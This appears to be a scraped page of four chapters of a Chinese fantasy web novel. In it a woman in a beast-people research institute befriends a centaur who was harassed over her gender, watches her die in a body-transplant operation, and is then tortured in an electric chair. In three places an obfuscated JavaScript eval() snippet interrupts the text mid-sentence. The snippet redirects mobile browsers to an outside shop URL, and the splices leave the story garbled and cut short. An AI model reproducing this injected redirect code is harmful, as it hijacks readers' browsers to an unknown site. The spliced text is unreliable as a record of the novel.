在此之前,半马族人在她脑海里只是一个非常笼统、模糊的概念,因为她没有接触过其他的半马族人,所以在她脑海里浮现的一直是赛娜的形象。 可是现在,赛娜说,雌性半马人不被允许进入战力排行。 这意味着什么?意味着在赛娜的脑海中,她每提一次半马族人,浮现的都会是雄性半马人的形象。 她想起她和崔莹有关火柴人简笔画的讨论,火柴人的形象很简单,由一个圆圈和几根像火柴般的线条组成。 当你打算画一个火柴人,纸面上就会出现一个圆圈和线条组成的身子;当你打算用火柴人的画法画一个男孩,纸面上出现的依旧是一个圆圈加线条组成的身子;可当你打算用这个画法画一个女孩,那纸面上将会多出来两条表示辫子的线条。 为什么呢?这是为什么呢?记忆里的崔莹问她。 她拿这个问题去问妈妈。 妈妈说,因为女孩子是长发,有辫子,而男孩子是短发,所以不需要画出辫子,用圆圈代替即可。 妈妈还说,女孩版的火柴人比普通的火柴人好看,因为有辫子,好看。 可当她用妈妈的答案回答崔莹时,崔莹却摇了摇头。 女孩不是因为长头发才是女孩,女孩是女孩,是因为她天生就是女孩,就像男孩天生就是男孩。 而女孩版火柴人和普通火柴人之所以有区分,是因为“我们是被排除在外的存在。” 那时的沈佳人绝不会认同崔莹的说法,因为这戳中了她那儿可怜的自尊心,因为她真正被排除在外,寄人篱下。 她同崔莹争辩,说她画的不对,男孩版的火柴人会在头上再加几根短短的线条来表示性别。 可崔莹只是看着她苦笑,她笑起来的样子和此时的赛娜一样,凄哀、悲凉,“如果我只画了一个火柴人,那你看到它时,脑海里浮现的是一个模糊的男孩形象,还是一个模糊的女孩形象?” 沈佳人想辩驳,浮现在她脑海里的只是单纯的火柴人形象,可她无法欺骗自己的内心,因为她知道,无论如何,她都不会把单纯的火柴人形象认为是女孩,但却能很轻易地将其与男孩挂钩。 “为什么?” 记忆里的她和现实的她同时出声,她想知道答案,为什么她不会将普通的火柴人认为是女孩,为什么雌性半马人不能进入战力排行? 记忆里的她得到了崔莹的答案,“因为我们是附属,人的附属,男孩的附属。” 人有三六级等,每一等,我们都是平等中的下等。 可是为什么啊? 耳边的声音将她从回忆里拉出,赛娜给了她另一个回答:“因为繁育。” 半马族群需要繁衍,雌性半马人承担起了孕育幼崽的重担,从怀孕到生产,她们一年有11个月都花费在这上面。 不了解半马族的外族兽人常常以体型来判断半马人的雌雄,雌性半马人体型纤细,雄性半马人则更为高大、雄壮。 可如果,雌性半马人也能像雄性半马人那样每日都在草原上奔跑、锻炼四肢、吃更多的草料,她们的四肢也会变得健壮,从而拥有更快的速度、更强的力量。 “我就是活生生的例子,在进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470955|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年期以前,我每日都会花费比族内雄性还要多的时间,训练自己的身体,跑得更多、吃得更多,理所当然成为了族内最快的半马人!” 讲到这里时,赛娜的眼睛亮亮的,沈佳人透过她的眼睛和述说,感受到她不抗拒自己的马身,反而十分喜欢它。 诚然,沈佳人没有见过其他的半马人,但她能看出来,赛娜的马身不仅高大,肌肉线条也十分流畅,充满力量感,无论是否见过其他半马人,赛娜都会是气势、压迫感最强的那一个。 可后来到底发生了什么,让赛娜竟然选择舍弃掉自己的马身,放弃在草原奔跑的可能,只为了成为一个普普通通的雄性兽人。 沈佳人轻声询问:“后来呢?” “后来……” 后来赛娜参加了半马族内每年举办一次的飞跃北方森林的竞赛,她拿到了第一,鲜花掌声环绕在她的四周,如果在比赛结束后没有意外听到家人和族长的谈论,那一天无疑是她最幸福的一天。 他们在讨论赛娜进入成年期以后的事儿,雌性半马人一旦进入成年期就意味着可以参与繁育。 他们说,以往族内的传统是一雄一雌或一雄多雌,但赛娜在比赛上的表现尤为精彩,族长不想让赛娜的基因被浪费掉,所以为了繁育出优质的幼崽,族长找到赛娜家里,提出一雌多雄的配偶模式,并与赛娜家人商讨雄性人选。 “露丝,你知道吗?族长提出一雌多雄的时候,我的家人都表现的异常兴奋,好像这是什么天大的殊荣,可是……可是我压根就不想参与繁育。” “我想像多克他们一样加入保卫队,守卫北方森林,守卫这个我出生的地方。” “我向他们表达了自己的想法,但遭到了反对。爸爸骂我不知道天高地厚,妈妈则说繁育和守卫一样责任重大,甚至比守卫更重要、更神圣。” “可是,我只想参加保卫队,我想成为卫队的一员,这是我从小的梦想。” 自赛娜对家人说出内心的想法后,她先后经历了长辈的阻止、同辈的劝说以及整个家族对她的打压。 但这些都不能阻止赛娜奔向梦想,她毅然决然地向保卫队提交了申请书,但申请书被打回来了。 理由是,保卫队未曾录用过雌性。他们连考试的机会都不肯给她。 可她是飞跃北方森林竞赛的第一名,以往比赛的第一名连申请书都不用提交,直接就可以被录取。 为什么?难道仅仅因为她是雌性? 而且保卫队的招募宣传上没有限定雄性报名的条件,它写得一直都是欢迎所有半马人参与。 在多次申诉抗辩无果后,赛娜终于明白,不是所有的规则都是黑纸白字写得清清楚楚,世界上有很多约定俗成、只存在于兽人的观念、思维习惯中的规则。 比如,雌性半马人进入成年期后可以参与繁育,实际上是必须参与;招募宣传上写得是所有半马人,实际上仅限雄性…… 从来没有兽人像露丝这样愿意且安静地倾听她的心声,所以不知不觉间赛娜说的就有些多了。 意识到这一点的赛娜,稍微压了下自己的情绪,平静地继续说道: “我本来以为自己永远也进不了保卫队,决定在进入成年期前离家出走时,事情出现了转机。” “我收到了保卫队的录用通知。” 赛娜切掉的马身静静躺在另一个、由黑布盖住的柱形管内,它的存在提醒着沈佳人,这封通知绝对不是一个好事。 12. 第 12 章 赛娜本以为收到保卫队的录用通知是实现梦想的第一步,实际上这却是噩梦的开始。 半马族地内开始流传起关于赛娜的谣言,说她是因为和族长有不正当关系,才能被保卫队录取。 谣言像滴入水中的墨,只要一滴就能迅速蔓延扩散,将干净的水染黑,而有关她与族长特殊关系的传言就是这最初的墨滴。 由此开始,她获得的荣誉被质疑是暗箱操作,明明当时所有半马人都见证了她的胜利,可他们却选择性忘记。 雄性半马人开始进行条理性分析:他们先从雌性半马人的生理构造天生就是不如雄性论证,得出她的成绩是作假的;紧接着又分析她获奖时的神情与族长的眼神互动,得出他们之间有猫腻;再然后是评判她的外表、上半部的人身,放出狗屁,直接造黄谣,说着如果他是族长,他也把持不住之类的屁话。 事情到这儿就结束了吗? 没有!远远没有! 他们分析她想进入保卫队的原因,对她进行人身攻击,诸如“咳咳咳,兄弟们,保卫队里最多的是什么,不用我说了吧,懂得都懂”、“保卫队的兄弟们有福了,现在进保卫队还来得及吗?”、“别别别,我可不喜欢这种被玩过的雌兽”…… 虽然有部分雌性半马人为她说话,可无济于事。半马族虽然与外界有联系,但本质还是较为封闭的族群,族内又以雄性为尊,大多奉行一雄多雌的配偶模式,这导致年轻雌性在族内话语权不大,而年老雌性大多被这套模式驯化,她们不会为她说话,反倒认为她丢了她们的脸。 来自外部的谣言已经让她苦不堪言,家庭给予赛娜的暴击也不遑多让,他们无视她的痛苦,只反复念叨着“你早点听我们的话,不就没有这回事了吗”、“我早就说了,雌兽不要天天去草原上跑,在家为配偶、繁育做准备才是正经事”…… 事情发展到这一步,赛娜内心虽然煎熬,但还是憋着一股子火,她就是要进保卫队,她要做出一番成绩,用事实说话,证明自己不是像谣言说得那样靠特殊关系,她要狠狠打他们的脸! 对那时的赛娜来说,那个还没有完全实现的梦想是支撑她熬过那段艰难日子的唯一力量。 可她忘了,她梦想中的保卫队是由一个个现实而具体的雄性半马人组成。 在距离报到还有三天的时候,她收到了一条好友申请,申请理由是保卫队队友。 赛娜已然不记得那个兽人的名字了,但这条申请稍微驱散了她当时的阴霾,队友十分热情,为她介绍保卫队的情况,还说看过她的比赛,十分精彩。 他说,他和队里的队员都不相信外面的传言,毕竟赛娜的实力毋庸置疑,他和其他队员都很期待赛娜的到来,然后他邀请她进入保卫队新人专属群聊,还参与了群里的爆照游戏。 一切都很美好,直到她根据群聊的公告注册了保卫队论坛号,最上面的热帖是她的照片,来自新人群;第二热的帖子是讨论她的外貌,从头到脚;第三热的帖子是赌局,谁能最先拿下她…… 赛娜忍着恶心与不适看完了所有关于她的帖子,在给雌兽造黄谣上,他们好像天生就无师自通,各种千奇百怪的污染秽语突破她的想象。 他们为了侮辱她,甚至不惜看低自已。 “众多周知,半人马是一种坐骑,雌兽也是一种坐骑,身为半人马雌性的赛娜是坐骑中的坐骑,哈哈哈。” 命运总是会在你足够糟糕的时候,又给上你一击。 赛娜接到了族长的电话,他说会发公告澄清一切,让她不要有心理压力,说他对她寄予厚望,可既然寄予厚望,为什么还会暗示她,要她在保卫队里挑选合适的雄性作为伴侣呢?还开玩笑的说,你是我们族第一个保卫队雌性成员,有特权,想挑几个就挑几个。 挂掉电话的赛娜,离开了。她在去保卫队报到的当天离开了半马族的聚居地,踏上了去完美研究院的路。 “所以,我要成为一个骑在他们身上的雄性兽人。” 泡在营养液里的赛娜,眼神平静,借助转换显示器向沈佳人传递着她内心的想法。 对此,沈佳人没有说话,她上前一步抱住了柱形管里的赛娜。 赛娜同样回应着她,她的手臂和身体紧紧贴在玻璃管壁上。 她们紧紧相拥,体温穿透了冰冷的玻璃向对方传递着温暖。渐渐地,玻璃染上了温度,营养液好似也没之前冰凉,她们触碰到了彼此。 看不见的弹幕开始发疯,它们尖叫扭曲,密密麻麻的弹幕铺天盖地,席卷而来。 【啊啊啊啊啊啊啊啊啊太美味了,太美味了!情绪大杂烩就是最好吃的!】 【啊啊啊啊温斯问我为什么尖叫?我答:看到了神迹!】 【我恨,为什么没有吃学家来新人直播间,害得我只能大口吞咽,我需要吃学家带我细细品味!!】 【需要吃学家+1,现在只能边吃边感慨自己暴殄天物!啊啊啊啊但即使这样粗略的吃,也好好吃!】 …… 良久,她们才分开,结束这个不算拥抱的拥抱。 “赛娜……赛娜……”沈佳人看着她,眼里有晶莹的光在闪烁。 她想对赛娜说些什么,但又无从说起,就这样一遍又一遍喊着对方的名字。 “露丝,请不用为我担心,我已经做好了一切准备,无论发生什么,我都不会后悔。” 赛娜这次没有通过转换器,而是喊出了她的名字,说话声混杂着咕噜的水声,既沉闷又沉重。 沈佳人的心也像是被沉到深不见底的水下,四面八方的水压将她的心团团围住,不漏一丝缝隙,压得她喘不上气。 她没有再继续问她,为什么不选择机械移植。 因为非我族类、其心必异。与其被骂是半人半机的怪物,不如成为和他们一样恶心的生物。 在艾尼斯帝国,宛如神明形象般的雄性兽人总是格外受到尊重,即使兽人们发现你做了性别改造实验,也没有关系。 因为某种集体潜意识,他们早晚会“臣服”于这具雄性皮囊,甚至有时候你都不需要做改造实验,仅仅是打扮成雄性兽人的样子,也能收获尊重与喜爱。 “我会帮你。”沈佳人如此承诺道。 只有一例躯体移植成功了吗?没关系。 根据控制变量法,只要复制当时成功所具备的全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470956|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件,赛娜就会成为第二个活下来的兽人。 她找到雷得,希望从她那里知道些有关第一个成功案例的信息。 雷得从她的举动中推测出了她的想法,只是淡淡告诉她,那一例实验无法复制。 可她不死心,依旧缠着雷得追问。 雷得终究是被那双执着的眼睛打败了,稍微透露些沈佳人可以知道的东西。 当年那一例躯体改造实验之所以能成功,是因为一件东西,但她不知道那是什么,真正知道那东西的只有院长莱伦一人。别说实验细节,就连实验对象,她也不知道。 由于当时参与实验的只有院长一人,如果不是大家知道院长没必要说谎,她们可能连这项成功的案例都不知道。 听到这里,沈佳人的眼神闪烁了一下。她想…… 可雷得看穿了她,“露丝,你知道院长现在为什么不做改造实验了吗?” “因为他做不了,他的手废了。” 改造实验作为联合实验室内实操性最强的一门实验,对手的精细操作要求极高。 显然,手废了的莱伦已经不适合也无法参与到改造实验中来。而改造实验又是完美研究院对外的招牌实验,说是实验,实际更为贴近整容整形手术,为外貌有遗憾的兽人,弥补缺陷。 因此改造实验不能倒,莱伦才会大力栽培在这方面极具天赋的雷得,让她成为联合实验室室长之一,兼职实验室下属改造部的部长。 “那赛娜……” 赛娜该怎么办呢?她也知道这件事吗? “这些事情在赛娜签署同意书时,我就全部告知。但她仍然做出这样的选择。” 正因如此,她才会希望露丝能劝动她,看来还是失败了,她重重叹了口气,“我会尽力而为,但只能保证尽力。” 如果赛娜早已知晓这是一条死路,那她为什么还做出这样的选择,难道是为了寻死吗? 愤怒涌上沈佳人的心头,她欲和赛娜辩个高下,但等真见到赛娜那一刻,又说不出来什么重话。 赛娜依旧平静,平静得不像个快要死的兽人,倒像是决意赴死的兽人。 “为什么?” 空旷的实验室回荡着她质问的回音,她清楚地听到声音里的刻意压抑的颤抖。 她哪里是实现心愿,她根本就是想寻死,既然如此,为什么还要对她说一大堆关于半马族的事情,为什么还要对她谈及她曾经的梦想与报复的决心?直接对她说,她想死不就行了? 虽然她没有将这一连串问题问出,但赛娜读懂了她的眼神。 “露丝。”赛娜轻轻唤她的名字,“我很高兴能在完美研究院里遇见你。” “也很高兴,你来到的地方是完美研究院,而不是艾尼斯帝国的其他地方。” “你或许根本不知道自己有多幸运,一降临到此间就直接来到这里,没有经历任何苦难。” 如果说,到这里,沈佳人的大脑还处于懵逼状态,不知道赛娜在说什么。 那赛娜的下一句,则是让沈佳人的后背惊出一身冷汗。 “可以告诉我,你真正的名字吗,露丝?这是我最后的心愿。” 13. 第 13 章 “可以告诉我,你真正的名字吗,露丝?这是我最后的心愿。” 在听到这句话时,沈佳人第一反应是矢口否定,但赛娜却温柔地例举出她的种种破绽,从传说到对兽人的称呼,她种种表现都明晃晃的说明了,她对艾尼斯帝国、对兽人并不熟悉。 沈佳人嘴唇翕动,试图辩驳,但被赛娜用一句话就堵了回去。 “你无需解释,也不必担忧。目前只有……或许只有我知道,你和维多利亚、拉克斯来自同一个地方。” 简简单单一句话,让沈佳人从坚决否认变成了好奇。 “依据呢?” 赛娜是凭什么认为她和维多利亚、拉克斯来自同一个地方,仅凭一个“人”字? “因为预言,教廷曾做出预言,第三个神明将降临此间。” “那教廷有没有告诉你,要珍爱生命!不珍爱自己生命的兽人,是没有办法上天堂的!”听到赛娜的离谱发言,沈佳人索性破罐破摔。 赛娜没有生气,望向她的眼神反而愈发温柔,嘴角也带上一点笑意,“所以我才说你幸运,来到的是完美研究院,没有见过外面的艾尼斯。” 赛娜又重复了一遍她幸运的话,在赛娜看来,完美研究院是一个会庇佑她的地方,是一个不会伤害她的地方。 虽然沈佳人也必须承认,完美研究院没有她想象中那么邪恶,但副本任务上清清楚楚写着,完美研究院的莱伦教授在搞一项十分危险的实验。 难道说,完美研究院没有参与到这项实验中,这只是莱伦单方面的实验,可他是院长啊! 但沈佳人顾不上想这个,她只想让赛娜同意做成功率更高的机械移植。 可赛娜根本不给她开口的机会,而是絮絮叨叨说了很多,例如让她多多注意自己的言行,虽然这里是完美研究院,但是一口一个人听起来也会让兽人奇怪,在艾尼斯帝国,大家都不会说人,而是兽人,碰到像沈佳人外形这么完美的,也不会说像人,而是像神明化身、神明形象、神形…… 赛娜如同交代遗言一般的话,让沈佳人胸口堵着一口气。 她说了很多,没有用脑电波转换显示器,每一次都会引起胸腔振动。 虽然说这已经是第三天了,创口已经接近稳定了,但沈佳人潜意识里觉得还是要遵医嘱少说话。 她让她用脑电波转换显示器,赛娜不肯,因为有监控,会被看见。 沈佳人也是前天才知道,因为雷得的要求,改造部所有实验室内的监控器只有监控画面功能,不具备监听功能,很奇怪的要求。 或许因为明天就要去接受躯体移植了,赛娜的话格外多,沈佳人见不惯她这种样子,终于忍得不耐烦,敲了一下玻璃管壁。 赛娜果然安静下来,不再说话。 “不要再说这些废话,告诉我,你想死的真正原因。” “你不想狠狠打那些人……兽人的脸吗?你不想让他们受到惩罚吗?你是不是屈服了?你这样做对得起曾经的自己吗?” 沈佳人意识到自己说话有些重了,但就是重一点,重一点才能让赛娜醒过来。 可赛娜只是笑,她又笑了。 沈佳人不喜欢她这样温柔的笑,她的笑该是锐利的、张扬的、恣意的、拥有蓬勃生命力的。 “除了预言,还有一点让我确信你与维多利亚、拉克斯一样,是第三个神明。” 赛娜突然把话题扯到这里,让沈佳人丈二和尚摸不着头脑,不要转移话题才说了不要二个字,就被打断。 “你没有发情期,对吗?” 赛娜也不管她是否会回答,自顾自地说下去,“只有神明没有发情期,甚至她们都没有性别观念,所以在她们眼里众兽平等,没有雌性与雄性之分,她们不懂繁育,不懂生命如何诞生,更不懂发情期对于兽人、尤其是雌性兽人的意义。” “露丝,当你真正了解发情期那天,才会真正明白我为什么会做出这种选择。” 这是赛娜对她说的最后一句话,在这儿之后,她紧闭双眼,嘴唇紧紧抿住,像是又昏了过去。 看到赛娜这副样子,沈佳人就知道她劝不了她,就像她当年劝不了12岁执意离家的崔莹。 崔莹说她不懂,不懂她的痛苦与窒息;赛娜也说她不懂,不懂发情期的意义。 实际上,她懂的,她和崔莹一样生活在重男轻女的家庭,她也曾和赛娜一样遭受过来自异性的恶意。 她知道,她都知道。 但忍忍就好了,好死不如赖活着,再忍忍,再忍一忍,总有一天会好的,不是吗? 为什么她遇到的都是不怕死的疯子,为什么不怕死的疯子都想死? 无论是孤身一人离家的崔莹,还是执意要接受躯体移植的赛娜,在沈佳人看来,她们都是在故意寻死。 可是为什么?她不懂,她一点也不懂。 从12岁到20岁,她一点长进也没有。 沈佳人在LA23305实验室里熬了一夜,前半夜绞尽脑汁,用尽方法,试图改变赛娜的想法;后半夜她说不动了,累了、困了,但也没睡觉,只盯着赛娜瞧。 从始至终,赛娜都维持着一副昏迷的样子,双眼紧闭,不看,听见也当没听见。 直到第二天的黎明,白天独有的晨曦通过实验室的窗户洒了进来,天亮了。 沈佳人来到赛娜的柱形管前,手指屈起,敲击玻璃管壁,发出清脆的声音。 “名字,我的名字是沈佳人。”她的额头紧紧贴在冰冷的玻璃上,声音又轻又小,带着些许熬夜后的疲惫。 “神家人?”赛娜故意装睡的眼睫睁开,柱形管里冒出很多小小的气泡。 艾尼斯帝国的语言和平行世界并不相同,但身为玩家的沈佳人一进入就被植入了语言包。但在说名字时,她用的是平行世界的语言,所以赛娜念起来很是别扭。 沈佳人的额头离开玻璃管壁,她抬起手指,隔着玻璃一笔一划写着自己的名字,“这就是我名字的写法,用艾尼斯语说,就是好人。” 她把“佳”字替换成“好”,方便赛娜理解。 赛娜念了两遍,一遍是听起来腔调古怪的沈佳人,一遍是用艾尼斯语说的,好人。 赛娜认为这个名字很适合露丝,好人,好的人,完美的人。 “谢谢你,露丝,沈佳人。”营养液里又浮起泡泡,发出轻轻的咕噜声。 “不要说谢谢,赛娜。”沈佳人眼神恳切,“活着回来,好吗?” 可这是不可能的事情,赛娜知道自己不会回来,即使活着也不会回来。 她无法将一切都告知她,只能含混地说:“不要伤心,我不会离开。” 无论是死是活,她都会永远留在这里,留在完美研究院。 赛娜最终被推进了手术室,接受躯体移植。 沈佳人不被允许进入,大约过了四个小时,雷得带着好几位和她同样打扮的实验员出来了,雷得对她摇头。 她知道赛娜走了,和离家后再也杳无音信的崔莹一样,她再也见不到她们了。 沈佳人想去再看看赛娜,但雷得告诉她,多可已经带走了赛娜,赛娜除了签署了改造同意书,还签署了遗体捐赠书,按照规定她的尸体会被保存在地下停尸房,统一管理。 此时沈佳人才知道,赛娜说的不会离开是什么意思。 因为赛娜的离开,LA23305暂时闲置,沈佳人暂时不需要过来,雷得特意给她批了几天假,让她回志愿者公寓休息。 是的,她该休息了,不然为什么眼前都开始出现乱码了? 沈佳人浑浑噩噩回到公寓,躺在床上,闭上眼,不一会儿,枕巾就出现了一小块被晕湿的地方,那块水迹随着时间的流逝而不断扩大,等到一定程度,水迹不再扩展,沈佳人也沉沉睡去。 等她再醒来时,已经是下午四点,太阳西斜,柔和温暖的阳光透过窗户铺满了整张床,所及之处都带上了暖金色的滤镜。 她的眼神没有焦点地落在半空,像是在发呆。实际上,她是在看一些像是弹幕的奇怪文字。 【这次不仅吃饱了,还尝到味了。太好吃了,这就是哀的味道吗?它让我想起了去年夏天在瀑布下冲澡,水流从高处落下,又猛又急,砸在身上很痛,但又凉滋滋,一下子就把身体的燥热全冲跑了!】 【我感觉更像是淋雨,没有任何可供遮挡的东西,在大雨里避无可避,只能让雨滴从上到下把自己浇湿,衣服湿哒哒贴在身上,既难受又畅快。】 【你们这么一说,更好吃了。但是新人在干什么,发呆?她不知道自己队友已经被抓了吗?】 【当然不知道,知道赛娜死了之后,就一直在睡。说真的,其实我不太能理解,为什么赛娜的死讯能引起她这么大情绪波动。】 【+1,她们认识了还不到一星期吧,也不像唐神和妮可,那可是整整七年的陪伴与相守。】 【+2,新人脑子是不是有点拎不清,唐神和妮可这样天生一对,她们俩初见面时,唐神也非常防备,但新人直接就给了,很轻易,but,我喜欢这种轻易,多来点,想吃。】 …… 弹幕在空中稀稀拉拉交流着,沈佳人的眼神忽然在某条弹幕上凝时,队友被抓?不可能吧,越山和沈嘉钰现在不正在老老实实上班,当守愿员吗? 这弹幕是怎么回事?是她情绪波动太大,出现了幻觉了吗? 正当这样想着,左手腕有一处十分刺痛,她循着那点不适摸到了发疼的位置,是登岛手环化作的那个红点。 随着她的触摸,面前忽地弹出一个悬浮透明面板。 【恭喜考生解锁隐藏剧情,获得赛娜的祝福。】 【虔诚的信徒认出了神明的身份,并在生命终结之际送出最后的祝福:我的主,这是我穿过荆棘练就的双眼,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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完美研究院有两支队伍,一支保安队,一支安保队。前者负责日常的巡逻值班,佩戴的武器是警棍,穿的是警卫制服;后者负责外出护卫和缉拿,会装备枪械,而他们穿的就是黑色作战服。 越山,他到底干了什么,都惊动安保队了! 这个疑惑很快得到了解答,“姐姐,我看到越山被架出来了,他身上都是血,他把实验体给杀了。” 越山!越山!越山! 沈佳人恨恨地在心底喊了三遍越山的名字,好好好,不让他杀莱伦,他就杀无辜的实验体,是吧? 手环那头的声音再度压低,“姐姐,我得挂了。越山……” “先上你的班吧,他这边我来想办法。” 短暂安慰了沈嘉钰后,结束了通话。 实际上,她能有什么办法,除了找稍微相熟一点的雷得问问。 赛娜离世带来的难过,此时已经被越山冲淡的七七八八了。 那句话怎么说来着,世事无常,大肠包小肠。生活就是这样,赶完这场赶那场。 幸好,现在还不到下班时间。她赶忙从床上爬起,去找雷得问问情况。 雷得实际很忙,除了要巡视自己负责的两个实验室,还要在改造部其他实验室巡视,而且还有手术安排。 所以在去找她之前,沈佳人特意发了讯息。 雷得回消息很快,几乎是刚发出去,她就回了,“在LA23305实验室等我。” 沈佳人认为在赛娜离开后,她可能有一段时间不会再踏入这个实验室,结果相隔时间竟然如此之短。 在等待雷得的时间,她就假装发呆看半空中的那些弹幕。 这一看,她才发现弹幕是实时的,它们在实时观看她的情况,不止她,还有雷得、越山。 它们好像能观看所有人的情况,但她、越山、沈嘉钰应该是主要的被观看者,因为弹幕有新人、玩家这几个字眼。 在发现弹幕是实时的后,她故意将内心的想法说出,越山会被带到哪里?他为什么会突然杀实验体?他那边是什么个情况? 她的喃喃自语将弹幕引导到了自己想要的方向,弹幕上全是有关越山的讨论。 【越山?是新人蓝眼睛的队友?他咋了,咋突然被抓了?】 【不知道,当时我们都在大吃特吃,谁有空管他?】 【解答前面,杀了实验体,被带到地下审讯室了。】 【我劁,刚去看了,挺全乎的,莱伦、多可、雷得,完美研究院三巨头都在。】 【他招原因了吗?我真的很好奇,怎么会有类人违背人类的意愿,他难道看不出来新人不怎么愿意杀生吗?】 【前方战报,没招!全程只有五个字,因为他该死!太好奇了,有没有人知道之前发生了什么!】 …… 弹幕刷刷地从眼前飘过,速度不快,足够沈佳人一一看过去。 所以,还在审,没有下判决,暂时没有危险。 她刚放下心来,忽然就有一条弹幕飘了过来。 【莱伦老贼刚刚说,要新人也去审讯室,如果他不招,就给新人上刑。怎么说呢?不愧是你,莱伦老贼!】 沈佳人:??? 为什么越山犯错,吃苦的却是她?!! 14. 第 14 章 得益于弹幕的实时转播,沈佳人对那边的情况有了大致的了解。 目前他们正处于僵持阶段,如果越山招供,交代犯罪动机,那她就不用去;如果他不招,那她就要去受刑。 但沈佳人知道,越山肯定不会被莱伦威胁到。 虽然事实确定、实验体已死,但完美研究院在处理院内犯罪事件十分严谨,必须要查清楚来龙去脉、断明白犯罪因果,才会进入处罚程序。 像上次她受到穆德攻击,一开始她不明白莱伦为何要询问她的意见,后来才知晓,完美研究院有一套独立于艾尼斯帝国法律之外的法律体系。 这套法律规定在处理院内兽人伤人事件时,但凡受害者保有清醒的认知,在判处加害者罪行时需以受害者的意愿为先。受害者若认为自身受到的伤害极大,且经判定属实,那么加害者最高可处以死刑。 对于受害者已死亡的案件,基本是一命抵一命。但因为每个案件的详细经过及量刑原则都会在研究院内的公告栏、网址进行公开,公开期为七个工作日。 所以只要越山一日不交代动机,就一日不会进入处罚程序,他就能多活一日。虽然最多只能拖30个工作日,但多活一天是一天。 而且即使处罚确定,只要在公开期间,院内任何一位兽人对此有异议,都可申请再审再判。 整套流程看起来法、理、情融合得很好,但沈佳人老觉得,这样很容易暗箱操作。 不过,这不关她的事情,因为她马上就要赶赴审讯室了。 根据弹幕传来的最新进展,越山如她所料,坚持不说杀害实验体的真正原因,莱伦派来请她的兽人已经在赶来的路上。 不过有点出乎意料的是,雷得为她说话了,她向莱伦请求,不管最后怎么样,都不要伤害到她这个局外人。 唔,这就是可靠的领导吗?可惜可靠的领导没能干过领导的领导,沈佳人一来就被绑在了越山旁边的电椅上。 实际上在电椅启动之前,沈佳人都以为不会来真的,即使来真的,也是意思意思两下。 虽然莱伦在沈佳人的印象里是不务正业的教授、浪荡的花孔雀、喜欢偷听梦话乱打听的长舌男,但总体印象是好的,她认为他不会真的做出用无辜“家属”威胁越山的戏码。 所以在看到弹幕对莱伦的评价是莱伦老贼、疯子时,她是不太理解的。 直到她一进审讯室,就被按在电椅上,接上电极,全程没有任何沟通与交流,直接启动,从1毫安到5毫安再到10毫安,中间没有给她一点喘息的机会。 电流过遍全身的时候,她才明白,莱伦果然是疯子,不讲道理、说干啥就干啥的疯子。 什么威胁不威胁,他就是想电她吧! 电椅这个东西,沈佳人之前只在电视剧里见过,且因为演员的受刑画面大多是浑身颤抖、大声喊叫,看着没有什么疼痛感,不如冒着腾腾热气的红烙铁能带来更多的感官刺激。 可真身体验过后,她才知道,自己这个想法大错特错。平时冬天碰到一点静电,都能把人电的一哆嗦,更何况是全身通上电。 电流量在5毫安时,沈佳人还能强忍着,偶尔哼两声;但推到10毫安时,她忍不住痛苦惨叫,像有无数根细针扎进皮肤里,尖锐的疼和麻遍布全身,这种疼痛还不是静止的,而是流动的,宛如皮肉下有无数条身上长满尖刺的蚂蟥在乱窜。 “还不说吗?那将会给她加到15毫安,我想你应该清楚对她来说,15毫安意味着什么吧?” 莱伦脸上挂着沈佳人熟悉的笑,之前只觉得黏糊又恶心,现在简直是恶魔的微笑。 在越山开口前,沈佳人低低笑起来,故意吸引注意。 她仰面躺在电椅上,眼睛半阖,肩膀耸动,笑得不行。这就是被动的代价吗?人为刀俎,我为鱼肉。 这笑来得突然又奇怪,毫不费力吸引了所有注意。 【新人咋了,被电疯了?不至于吧,才10毫安。】 【看上去是有点疯,但更多的是嘲讽、看好戏?但我记得新人也没有什么杀手锏吧。】 【比起这个,我更好奇莱伦这老不死的,为什么要这么对待新人,他不是馋玩家馋好久了吗?】 【什么馋玩家?我看他是馋类人吧,头两次类人都是他干掉的,日日夜夜守着看着,搞出了机械移植。】 【温斯为什么没有任何干预措施,就这么让类人的尸体落到莱伦手上,就不怕他会怀疑吗?】 【怕什么?反正温斯铁定不会背叛星际。我只希望新人能多活一会儿,或者解开莱伦老不死的不死之谜再死啊!】 …… 自从弹幕知道沈佳人被招去审讯,要与莱伦见面后,就异常活跃,内容基本都是和莱伦相关。 它们对莱伦过去的事情很了解,它们知道前两次玩家和莱伦之间的故事。 虽然是第三方视角,无法做到全知全解,但对她而言够用了。 这是赛娜给她的祝福,赛娜说她是教廷预言的第三位神明。既然赛娜都这样说了,那她不当这个神明,就有点不知好歹了。 “你笑什么?”莱伦饶有兴致地问她。 “笑你愚昧无知。”沈佳人坦荡与他对视,全然不见上次见他时的脆弱与故作坚强。 闻言,莱伦嘴角的笑意扩大,不待他发问,沈佳人便继续说道:“无论马丁说不说原因,都无所谓,因为那个实验体该死。因为该死,所以他才会死。” 此言一出,沈佳人再次吸引了全场的注意,弹幕也在刷屏,为什么她会说出和越山一样的话。 “露丝?”坐在莱伦左侧的雷得想要说话,但被莱伦一个眼神按下。 莱伦一错不错地看着沈佳人,语调又慢又长,“这世上,没有,该死的兽人。” 